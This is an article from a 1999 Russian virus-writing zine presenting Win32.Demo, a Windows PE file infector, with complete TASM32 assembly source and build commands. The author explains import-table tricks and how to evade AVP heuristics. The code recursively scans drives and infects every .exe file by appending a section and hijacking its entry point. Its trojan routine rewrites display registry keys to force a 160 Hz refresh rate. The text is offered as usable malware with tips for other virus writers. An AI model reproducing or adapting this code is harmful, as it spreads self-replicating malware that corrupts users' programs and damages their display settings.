- [Duke's Virus Labs #6] - [Page 17] - Win32.Demo (c) by SMT/SMF Имя вируса : Win32.Demo Автор : SMT/SMF Язык прогр. : TASM32 Дата создания : 24.04.99 Причиной написания этого вируса стали многочисленные попытки вирмейкеров написать нормальный, неглючащий, полностью работающий PE-инфектор. Даже скорее не сами эти попытки, а те чувства, которые я испытывал, глядя на исходники в журналах. Более-менее нормальный алгоритм я нашел в cih'e, но он требовал VXD-вызовов, которые я еще не совсем освоил. Остальные же просто suxx (я нарочно не называю имен авторов и названий журналов; да что там - все и так всех знают). Сразу скажу, что и мой инфектор suxx по причине моей лени - недостатки будут рассмотрены позже. Начнем с вызовов API. Kто-то вызывает API по фиксированным адресам, т.е. не та версия kernel32.dll => GPF. Более продвинутые сканируют область загрузки этой DLL. Xотя ее адрес и не менялся давно,в NT 5.0 он изменился [данные взяты кажется с Virogen' site - www.sourceofkaos.com/virogen ??- не помню точно ;(, да и хаос, кажется, прикрыли ;(((( :( :( :( :( ]. Ну так вот, сканирование этих областей по hardcoded адресам, т.е. предполагая, что известен не адрес функции, а адрес библиотеки - в принципе то же самое, что и вызов API по фиксированной таблице (тоже можно получить GPF). Далее: попытки обойтись без создания новой секции и с дозаписью в конец файла одновременно - ха-ха, авторы думают, что секции идут подряд и если увеличить размер последней секции, то можно дописаться в конец. Также встречались потуги поискать последнюю секцию, но тогда если присутствуют какие-нибудь дописки к программе, то их или придется грузить в память (конечно, в виртуальную можно запихать и 100Mb) или не заражать такой файл. На самом деле, нормальные файлы (созданные компиляторами) устроены очень хорошо - секции следуют в своем естественном порядке, но вот всякие там закриптованные, SFX-архивы (узнаете WinZip дистибутивы ?;), упакованные PETITE'ом и подобные файлы портят нам (т.е. им) всю малину ;(, потому что вирус либо затирается следующей секцией, либо сам затирает ее. Другой путь - регистрировать драйвера устройств и исползовать не win32 API, а VXDcall - очень перспективен, но, как я уже говорил, я в этом ни хрена не понимаю (пока). Что же делать? А то же, что и все остальные добропорядочные приложения, а именно - импортировать адреса функций. Почему же раньше никто(?) этого не делал - а очень просто - нужно динамически строить таблицу импорта, смешивать ее с таблицей импорта приложения, и следить, чтобы все это уместилось в прежнюю секцию (хотя, учитывая запасливость microsofta, случаев нехватки места скорее всего не будет). Здесь же реализован смешанный способ - импортировать лишь необходимыe функции: GetProcAddress и LoadLibraryA, а затем самим можно заполнить таблицы адресов для себя и для программы-жертвы. Необходимо учитывать, что импорт может быть осуществлен не только по именам функций, но и по их номерам. Некоторые адреса windows не дает - например, ordinal 12h из kernel32.dll, который импортирует explorer.exe, но он и без этого прекрасно работает (и даже в зараженном виде ::).Что хотели этим сказать жирные недoноски из мелкософта, я не знаю - пошли бы они все в пень - еще один секрет хотели сделать, что-ли? Tакие случаи импорта я просто игнорирую. Тут я немного потрассировал загрузчик 95-й и обнаружил *ПОТРЯСАЮЩУЮ* вещь, про которую не упомянул в своей замечательной работе даже Hard Wisdom: !!! оказывается, microsoft давно припрятала еще один способ импорта функций, нигде не документированный!!! В отличии от обычного формата импорта (см.рис.2), существует и альтернативный (см. рис. 3), который, как я выяснил, хотя и не документирован, но поддерживается ВСЕМИ виденными мною версиями windows, т.е. windows95 first release, windows95 osr2 russian, windows95 osr2 PE, windows NT 4.0 (workstation and server), windows98 beta, windows98 release. Да... Похоже мелкософт и дальше не собирается отказываться от поддержкм этого маленького ее секрета. Так, это хорошо, что я просек данную фишку и предусмотрел заражение нестандартных файлов, но посмотрим, что же имеют от этого кодеры вообще и вирмейкеры в частности. А вот что: сравнивая рис. 2 и рис. 3, можно заметить, что второй способ импорта попроще; здесь import lookup table и import address table сведены в одну, поэтому создавать таблицы импорта будет немного быстрее (хотя я не стал так делать в моем вирусе - а вдруг, просекши такую фишку, Касперский станет обьявлять проги с этим упрощением как подозрительные на вирус?), но это не самое главное. А вся штука вот в чем: перестроив таблицу импорта, можно выкроить 4*(количество_импортируемых_функций) байтов для каких-то своих целей. А это не так уж мало - даже в простейших программах calc.exe и notepad.exe - 114 и 127 импортируемых функций соответственно, что уж говорить о монстрах... Этого может хватить, чтобы настроить импорт, а потом можно затирать import directory и function names, - еще с килобайт несколько освободится! Но больше всего порадуются не вирмейкеры, а создатели всяких-там PE-шифровщиков: после того, как произведен импорт, нельзя установить, адрес какой функции откуда и куда импортируется, поэтому всякие PE-snapshot'ы обламываются (конечно, не стоит хранить имена функций в порядке их импорта, а нужно паремешать их получше). Короче, пространства для творчества хватает - берите и реализовывайте, ничего не имею против :) Вернемся к вирусу. Принцип его работы похож на использованный в LZSLOW, разве что создается не новый процесс, а просто новая "нить" (кто знает что-нибудь про многозадачность в windows, поймут, что это всего лишь значит, что windows будет уделять немного процессорного времени процедуре сканирования каталогов в рамках отведенного нашему зараженному приложению времени). Кроме того, тот факт, что exe-файлы грузятся по адресу 400000h, нигде не используется, поэтому данный продукт можно без проблем переделать в dll-инфектор, хотя первая версия (dropper) должна быть откомпилирована tasm'ом и запущена как exe-файл. И все же... почему этот вирус suxx: 1. не проверяет, есть ли место в таблице секций (некорректно будут заражены notepad и welcome в windowsNT, в которых места для нового обьекта нет, в 95-ой эти программы сделаны с большим запасом). 2. Где-то я прочитал, что AVP (вот дерьмо-то) проводит следующий "эвристический анализ" PE-exe: если последний обьект имеет атрибуты "кодовая секция" и "секция данных" одновременно, то это, согласно AVP, вирус! Тут я обрадовался - ну и дурак же касперский! - ведь загрузчик windows95/98 не смотрит на эти флаги, а смотрит на флаги "можно читать", "можно писать" и "можно выполнять код". Я с радостью убрал флаг "кодовая секция", и AVP замолк. Ха! Даже загрузчику NT пофигу эти флаги, NT вообще писали какие-то пидарасы: ее загрузчик, если не находит какую-то библиотеку, просто молча не запускает программу, (в отличии от 95-ой, которая дружелюбно подсказывает, какой библиотеки или функции не хватает), а GPF или PAGE fault я вообще не видел на NT - кажись, сглючившее приложение просто тихо прикрывают без лишнего шума (эта информация не совсем проверена). Похоже, ублюдки из microsoft'a предпочитают скрыть от программиста внутренние ошибки и "доказать" юзерам, что NT - супернадежная система. Вот уроды. Сколько я из-за этого времени потратил, гадая, почему не работали зараженные программы (всего-то забыл дописать ".dll" к имени модуля; с 95-й вообще было все отлично!). Кстати, NT проверяет и CheckSum, так что, вирмейкеры, не забывайте обновлять CRC32, или занулять ее, что проще ;) Теперь по теме: в будущих реализациях PE-загрузчиков (в будущих ОС) могут взять и проверить эти флаги, да и Касперский может профиксить свой анализатор, так что наш вирус к этому не готов. Чтобы заткнуть эвристику AVP, можно было бы сделать вообще Read-only секцию, потом отрезать кусок памяти, доступной для чтения-записи, и туда пихать вирус, тогда были бы "и овцы целы, и волки сыты", но мне лень... Да и к тому же эта идея пришла ко мне в голову только что, а вирус уже готов... (Как заткнуть AVP всерьез и надолго[навсегда] - читайте в этом или в ближайшем выпуске журнала:) Кстати, чуть не забыл рассказать об "оригинальном эффекtе". Те, кто не любит таких штучек - пусть посмотрят на рис.1 и пойдут на... Хотел эту ботву прикрутить к определенной дате, только вот не придумал, к какой, поэтому, как только закончится сканирование диска, вирус устанавливает "профессиональный" Refresh Rate во всех видео режимах - 160 Hz (действует после перезагрузки или смены видеорежима). Те, у кого хорошие мониторы (хотя 160Hz x 800 x 600 - _если_ и реально(?), то стоит кучу $$$$$$$$!), будут наслаждаться великолепным качеством изображения, сберегая свое здоровье, ну а остальные - чесать репу, глядя на моргающий экран... Hа S3 работает, а это очень распространенная видюшка. Думаю, на остальных картах тоже будет работать. А вот и адрес в реестре: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Display\000n\MODES\cc\xx,yy где n - номер видео устройства, cc - глубина цвета, xx и yy - разрешение по X и Y соответственно. В этот ключ надо записать .default value = "possible rates", например "60,70,75", а в RefreshRate = "current framerate", т.е. установленную в данный момент частоту кадров, например, "60". Все значения - ASCIIZ строки. ------------------------------- Приложение ------------------------------------ Рис. 1 не приводится здесь, интересующиеся могут найти его на фидорасных BBS-ках и некотoрых сайтах. ------------------------------- Приложение ------------------------------------ PEheader+80h | /---------------------\ \----(+Base)---->| IMPORT DIRECTORY VA | |---------------------| /------------\ /-------------------------------------------\ |+0 lookup table RVA|---( RVA > VA )------>| Func.Name1 |--(+B)-->| WORD (fn ordinal) | ASCIIZ function1 name | |---------------------| |------------| \-------------------------------------------/ | some useless shit | | Func.Name2 |---\ /--------\ |---------------------| |------------| | |ASCIIZ |<-(+B)-|+0ch Library name RVA| | . . . . . | (+imageBase) |library | |---------------------| |------------| | /-------------------------------------------\ | name | |+10h Imp_Addrs table |----\ | NULL | \--->| WORD (fn ordinal) | ASCIIZ function2 name | \--------/ |---------------------| | \------------/ \-------------------------------------------/ | . . . . . | /---------------------\ |---------------------| | Table for receiving | end of import --> | 14h dup (0) | | imported addresses | directory \---------------------/ | (4bytes/function) | \---------------------/ Figure 2. Usual import scheme. ------------------------------- Приложение ------------------------------------ ============== Before import ============== PEheader+80h | /---------------------\ \----(+Base)---->| IMPORT DIRECTORY VA | |---------------------| /------------\ /-------------------------------------------\ |+0 NULL (strange?!) | /--------->| Func.Name1 |--(+B)-->| WORD (fn ordinal) | ASCIIZ function1 name | |---------------------| | |------------| \-------------------------------------------/ | some useless shit | | | Func.Name2 |---\ /--------\ |---------------------| (+imageBase) |------------| | |ASCIIZ |<-(+B)-|+0ch Library name RVA| | | . . . . . | (+imageBase) |library | |---------------------| | |------------| | /-------------------------------------------\ | name | |+10h Imp_Addrs table |-----------/ | NULL | \--->| WORD (fn ordinal) | ASCIIZ function2 name | \--------/ |---------------------| \------------/ \-------------------------------------------/ | . . . . . | |---------------------| end of import --> | 14h dup (0) | directory \---------------------/ ============== After import ============== PEheader+80h | /---------------------\ \----(+Base)---->| IMPORT DIRECTORY VA | +-------------------------------------------------+ |---------------------| │ /-------------------------------------------\ │ |+0 NULL (strange?!) | │ | WORD (fn1 number) | ASCIIZ function1 name | │ |---------------------| │ \-------------------------------------------/ │ | some useless shit | │ . . . . . . . . . . │ /--------\ |---------------------| │ "LOST FUNCTION NAMES" - useful in │ |ASCIIZ |<-(+B)-|+0ch Library name RVA| │ PE-crypts! │ |library | |---------------------| │ /-------------------------------------------\ │ | name | |+10h Imp_Addrs table |--\ │ | WORD (fnN number) | ASCIIZ function2 name | │ \--------/ |---------------------| | │ \-------------------------------------------/ │ | . . . . . | | │ │ |---------------------| | +-------------------------------------------------+ end of import --> | 14h dup (0) | | directory \---------------------/ \---(+B)---> +------------------+ | Filled table with| | API addresses!!! | | (4bytes/function)| +------------------+ Figure 3. Undocumented import scheme. ------------------------------------------------------------------------------ По настоянию Дюка (которому, кстати, спасибо за предоставленный NT) приведу опции компилятора - хотя, кто уже пользовался tasm'ом и так знают, а кто не пользовался, тому неплохо было бы запустить tasm без параметров и почитать справку. tasm32 /iC:\make\lib /ml /z v32 tlink32 /Tpe /aa /c /x v32,,, import32.lib ===== Cut here ===== ; ================================ VIR32 ====================================== ; Program : Win32.Demo virus ; Description : virus for PE-files (.exe) ; Last modified : 24.Apr.1999 ; Purpose : import implementation under win32 ; Target OS : Win95/98/NT ; Notes : ; TODO : Test for already infected .386 .model flat,stdcall include win.inc virRVA = 2000h ; if compiled with TASM 5.0 - for first virus starting virVA = 400000h ; if compiled with TASM 5.0 - required for correctly ; starting fisrt host program only .data ; virus code will be modified org 0 ; hmmm... i couldn't remember, why have i typed this? ; maybe there were some reasons (?) start: nop ; do you know, why my win32 asm progs start with NOP ? ; ========= set edi=program_image_Virtual_Address, ebp=virus_offset_RVA ======= call $+5 N1: pop ebp mov edi,ebp sub ebp,offset N1 sub edi,LARGE virRVA oldRVA equ $-4 ; an RVA of new PE section will be stored there sub edi,N1-start ; so we'll get VA of loaded program, ; usually it is 400000h, but not everywhere... mov dword ptr [ebp+ourebp],ebp ; ======= making own import ============= lea ebx,[ebp+ImpAdr] lea esi,[ebp+Import-1] im1: inc esi cmp byte ptr [esi],0 jz short MyImpDone call [ebp+_LoadLibraryA],esi im2: inc esi cmp byte ptr [esi],0 jnz short im2 inc esi cmp byte ptr [esi],0 jz short im1 push eax call [ebp+_GetProcAddress],eax,esi mov [ebx],eax pop eax add ebx,4 jmp short im2 MyImpDone: ; ========= making import for program =============== mov esi,LARGE 0 ; 4 bytes must be reserved there! oldIMP equ $-4 ; program import directory (RVA) test esi,esi ; it is very strange, if program have no import, jz short ExtImpDone ; but we'll check it too... imploop:mov eax,[edi+esi+0ch] test eax,eax jz short ExtImpDone add eax,edi mov ebx,[eax] ; loading page from virtual memory, ; LoadLibrary fails, if page not present call [ebp+_LoadLibraryA],eax ; test eax,eax ; jz short imperror mov ebx,[edi+esi] mov ecx,[edi+esi+10h] add esi,14h test ebx,ebx ; second type of export! read article! jnz short lookupok mov ebx,ecx lookupok: mov edx,[edi+ebx] add ebx,4 test edx,edx jz short imploop test edx,80000000h jz short impname ; make import by name movzx edx,dx jmp short import1 ; make import by ordinal impname:lea edx,[edi+edx+2] import1:push eax ecx call [ebp+_GetProcAddress],eax,edx pop ecx ; test eax,eax ; jz short imperror mov [edi+ecx],eax pop eax add ecx,4 jmp short lookupok ;imperror: ; lea ecx,[ebp+ERROR1] ; lea eax,[ebp+ERROR2] ; call [ebp+_MessageBoxA],0,ecx,eax,0 ; jmp [ebp+_ExitProcess] ExtImpDone: ; ========= Starting virus thread =============== lea eax,[ebp+ThreadProc] lea ebx,[ebp+len1] ; thread ID will be lost call [ebp+_CreateThread],0,1024,eax,0,0,ebx lea eax,[edi+host-virVA] ; restore old entry oldENT equ $-4 ; entrypoint RVA of host program jmp eax ; return to host ThreadProc: mov ebp,12345678h ourebp equ $-4 mov eax,'\:D' ; scan disk D: call DiskScan mov eax,'\:E' ; scan disk E: call DiskScan mov eax,'\:C' ; scan disk C: call DiskScan call CheckTime jmp [ebp+_ExitThread] ; ==== It is a recursive function for scanning directory tree ==== DiskScan: mov dword ptr [CurName],eax Search: lea ebx,[ebp+CurName] mov edi,ebx ss1: inc edi test byte ptr [edi],0ffh jnz short ss1 mov dword ptr [edi],'*.*' ; strcat(path,"*.*\0"); lea eax,[ebp+FindData] call [ebp+_FindFirstFileA],ebx,eax mov esi,eax inc eax jz return ssagain: ; some delay for scanning, sti/hlt can't be used :( on NT mov ebx,06666h sdelay: mul [bignum] dec ebx jnz short sdelay lea ebx,[ebp+cFileName] push edi esi cmp byte ptr [ebx],'.' jz next ; skip "." and ".." directories copy1: mov al,byte ptr [ebx] inc ebx mov byte ptr [edi],al inc edi test al,al jnz short copy1 test byte ptr [ebp+FindData],10h ; check directory flag jz short file ; ========= HANDLING DIRECTORY ============ mov word ptr [edi-1],'\' call Search jmp next ; ============= HANDLING FILE ============= file: mov eax,[edi-5] or eax,20202000h ; convert extension to lower case cmp eax,'exe.' ; infect only .exe files jnz next ; ================= FILE INFECTION ROUTINE =================== lea eax,[ebp+CurName] call [ebp+_CreateFileA],eax,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0 mov [ebp+handle],eax inc eax jz error dec eax lea edx,[bufHDR+ebp] lea ecx,[len1+ebp] ; read MZ-header call [ebp+_ReadFile],eax,edx,40h,ecx,0 cmp word ptr [ebp+bufHDR], 'ZM' ; MZ jnz error cmp [ebp+bufHDR+18h],40h jb error mov edx,dword ptr [ebp+bufHDR+3ch] ; start of PE header in file mov [ebp+filePE],edx call [ebp+_SetFilePointer],[ebp+handle],edx,0,FILE_BEGIN lea ecx,[len1+ebp] lea edx,[bufHDR+ebp] ; read PE-header call [ebp+_ReadFile],[ebp+handle],edx,100h,ecx, 0 cmp dword ptr [ebp+bufHDR],'EP' ; PE jnz error lea ebx,[ebp+bufHDR+8] mov al,53h cmp [ebx],al jz error ; already infected mov [ebx],al ; set infection flag mov dword ptr [ebp+bufHDR+58h],0 ; zero checksum ; store old RVAs mov eax,dword ptr [ebp+bufHDR+28h] mov ebx,dword ptr [ebp+bufHDR+50h] ; image size mov dword ptr [ebp+oldRVA],ebx ; store rva of new object mov dword ptr [ebp+oldENT],eax ; store entry_RVA mov eax,dword ptr [ebp+bufHDR+80h] mov dword ptr [ebp+oldIMP],eax ; calculate RVA of new object mov dword ptr [ebp+oneobj+0ch],ebx ; RVA of new object mov dword ptr [ebp+bufHDR+28h],ebx ; new entry lea eax,[ebx+Newimpdir-start] mov dword ptr [ebp+bufHDR+80h],eax ; new imports ; make import directory lea eax,[ebx+a1-start] mov [ebp+lpA1],eax lea eax,[ebx+_LoadLibraryA-start] mov [ebp+lp_GMH],eax mov [ebp+lpGMH],eax xor eax,eax mov [ebp+lpGMH+4],eax dec eax mov [ebp+lpGMH+8],eax lea eax,[ebx+a3-start] mov [ebp+_LoadLibraryA],eax lea eax,[ebx+a4-start] mov [ebp+_GetProcAddress],eax ; Write section to file call [ebp+_SetFilePointer],[ebp+handle],0,0,FILE_END call FileAlign mov dword ptr [ebp+oneobj+14h],eax ; set file pointer to end of file + file_align call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN mov eax,virend-start mov ebx,eax call FileAlign mov dword ptr [ebp+oneobj+10h],eax xchg eax,ebx ; now ebx = FileAligned length, eax = length call ObjectAlign mov dword ptr [ebp+oneobj+8h],eax add dword ptr [ebp+bufHDR+50h],eax ; update image size lea edx,[ebp+start] ; write new section to the end of file ; there is no need to align section - if section is smaller, ; then only part before EOF will be loaded lea ecx,[ebp+len1] call [ebp+_WriteFile],[ebp+handle],edx,ebx,ecx,0 inc word ptr [ebp+bufHDR+6] ; inc number of objects ; write updated PE-header call [ebp+_SetFilePointer],[ebp+handle],[ebp+filePE],0,FILE_BEGIN lea edx,[ebp+bufHDR] lea ecx,[ebp+len1] call [ebp+_WriteFile],[ebp+handle],edx,100h,ecx,0 ; find place for last object movzx eax,[ebp+bufHDR+14h] add eax,[ebp+filePE] add eax,18h-28h ; -28 => to perfom loop with add eax,28 in it's start ; now eax = offset of first object record movzx ecx,word ptr [ebp+bufHDR+6] lea edi,[ebp+objbuf] lea esi,[ebp+len1] ; we'll clear write protection from all sections of file (see article) unprot: jecxz unpdone push ecx add eax,28h push eax call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN call [ebp+_ReadFile],[ebp+handle],edi,28h,esi,0 pop eax or dword ptr [edi+24h],0c0000000h ; set READ and WRITE flags push eax call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN call [ebp+_WriteFile],[ebp+handle],edi,28h,esi,0 pop eax ecx loop unprot unpdone: ; Write new object record to sections table call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN lea edx,[ebp+oneobj] lea ecx,[ebp+len1] call [ebp+_WriteFile],[ebp+handle],edx,28h,ecx,0 error: call [ebp+_CloseHandle],[ebp+handle] ; ===================== END OF FILE INFECTOR ================== next: pop esi edi lea eax,[ebp+FindData] call [ebp+_FindNextFileA],esi,eax test eax,eax jnz ssagain return: mov byte ptr [edi],al ; eax==0 call [ebp+_CloseHandle],esi retptr: ret ; ==== Align address to file align ================ ; in: eax=address; out: eax=new address FileAlign: mov ecx,dword ptr [ebp+bufHDR+3ch] jmp short Align1 ObjectAlign: mov ecx,dword ptr [ebp+bufHDR+38h] Align1: dec eax xor edx,edx div ecx inc eax mul ecx ret ; ========================== TROJAN COMPONENT ======================= CheckTime: ; actually, i don't want to check time, i want to kill video now! lea edi,[ebp+buf] mov byte ptr [edi],'0' regscan: ; loop to enumerate all video devices lea esi,[ebp+modes] mov dword ptr [esi],'\61' ; 16-bit modes mov cl,3 call scan1 mov dword ptr [esi],'\23' ; 32-bit modes mov cl,3 call scan1 mov word ptr [esi],'\8' ; 8-bit modes mov cl,2 call scan1 mov dword ptr [esi],'\42' ; 24-bit mov cl,3 call scan1 mov dword ptr [esi],'\46' ; 64-bit - maybe they appared in future :) mov cl,3 call scan1 inc byte ptr [edi] cmp byte ptr [edi],'9' jnz short regscan ret scan1: movzx ecx,cl push esi add esi,ecx mov dword ptr [esi],',046' mov dword ptr [esi+4],'084' ; <- 640x480 call Trash mov dword ptr [esi],',008' mov dword ptr [esi+4],'006' ; <- 800x600 call Trash mov dword ptr [esi],'4201' mov dword ptr [esi+4],'867,' ; <- 1024x768 mov byte ptr [esi+8],0 call Trash mov dword ptr [esi],'2511' mov dword ptr [esi+4],'468,' ; <- 1152x864 mov byte ptr [esi+8],0 call Trash mov dword ptr [esi],'0821' mov dword ptr [esi+4],'201,' ; <- 1280x1024 mov word ptr [esi+8],'4' call Trash mov dword ptr [esi],'0061' mov dword ptr [esi+4],'021,' ; <- 1600x1200 mov word ptr [esi+8],'0' call Trash pop esi ret Trash: ; change registry key lea eax,[ebp+displ] lea edx,[ebp+dispkey] call [ebp+_RegOpenKeyExA],HKEY_LOCAL_MACHINE,eax,0,KEY_ALL_ACCESS,edx test eax,eax jnz short retp1 ; smash 'default' value lea eax,[ebp+Hz] call [ebp+_RegSetValueExA],[ebp+dispkey],0,0,REG_SZ,eax,endHz-Hz ; smash 'RefreshRate' value lea eax,[ebp+Hz] lea edx,[ebp+Rate] call [ebp+_RegSetValueExA],[ebp+dispkey],edx,0,REG_SZ,eax,endHz-Hz retp1: ret ; better prev. call replace to jump, but i don't want to ; push parameters by myself Hz db '160',0 endHz label Rate db 'RefreshRate',0 displ db 'System\CurrentControlSet\Services\Class\Display\000' buf db '0\MODES\' modes db 10 dup (0) ;------------------------------------------ Video trasher end --------------- ; ===================== DATA SECTION ============================= ; ---------- import table for program -------------- Import db 'KERNEL32.dll',0 db 'SetFilePointer',0 db 'CreateFileA',0 db 'ReadFile',0 db 'WriteFile',0 db 'FindFirstFileA',0 db 'FindNextFileA',0 db 'CloseHandle',0 db 'CreateThread',0 db 'ExitThread',0 db 'ExitProcess',0,0 db 'USER32.dll',0 db 'MessageBoxA',0,0 db 'ADVAPI32.dll',0 db 'RegOpenKeyExA',0 db 'RegSetValueExA',0,0 db 0 ImpAdr: ; KERNEL32 _SetFilePointer dd 0 _CreateFileA dd 0 _ReadFile dd 0 _WriteFile dd 0 _FindFirstFileA dd 0 _FindNextFileA dd 0 _CloseHandle dd 0 _CreateThread dd 0 _ExitThread dd 0 _ExitProcess dd 0 ; USER32 _MessageBoxA dd 0 ; ADVAPI32 _RegOpenKeyExA dd 0 _RegSetValueExA dd 0 ; -------- import table for OS loader --------------- @dwordalign start,0 Newimpdir: extrn LoadLibraryA:PROC extrn GetProcAddress:PROC lpGMH dd offset _LoadLibraryA,0,-1 lpA1 dd offset a1 lp_GMH dd offset _LoadLibraryA,14h dup(0) a1 db 'KERNEL32.dll',0,0 _LoadLibraryA dd offset LoadLibraryA ; offset a3 _GetProcAddress dd offset GetProcAddress,0 ; offset a4,0 ; aligning... @wordalign start,0 a3 db 1,0,'LoadLibraryA',0 @wordalign start,0 a4 db 2,0,'GetProcAddress',0,0 ; ================ END OF IMPORT SECTION ============== bignum dd 7fffffffh ;ERROR1 db 'Can''t perform import',0 ;ERROR2 db 'SMT''s PE-sticker',0 len1 dd ? ; number of actually read/written bytes in IO operations dispkey equ len1 handle dd 0 ; handle of opened file filePE dd 0 ; position of PE header in file ; --------------------------- New PE-object oneobj db '.vir32**' dd 7 dup (0),0E0000020h ; buffer for one object and flags ; --------------------------- bufHDR db 100h dup (0) ; for MZ/PE header objbuf db 28h dup(0) buffer label ; 128-byte LZ-buffer in same place with search record FindData label ; search record dwFileAttributes dd ? ftCreationTime dq ? ftLastAccessTime dq ? ftLastWriteTime dq ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db MAX_PATH dup (?) cAlternateFileName db 14 dup (?) ; end of search record ; Starting directory: ;CurName db 'c:\temp\test\' CurName db '!', 512 dup (0) virend label ; end of virus code ; =================== HOST CODE SECTION =================================== .code ; section only for stupid TASM db 'this line will be only in installer(dropper)',0 hostmsg db 'Another product ran away from SMF team ;)',0 title_ db 'Host started... Background thread scans directories now',0 extrn MessageBoxA:PROC extrn ExitProcess:PROC host: call MessageBoxA,0,offset hostmsg,offset title_,0 jmp ExitProcess end start ===== Cut here =====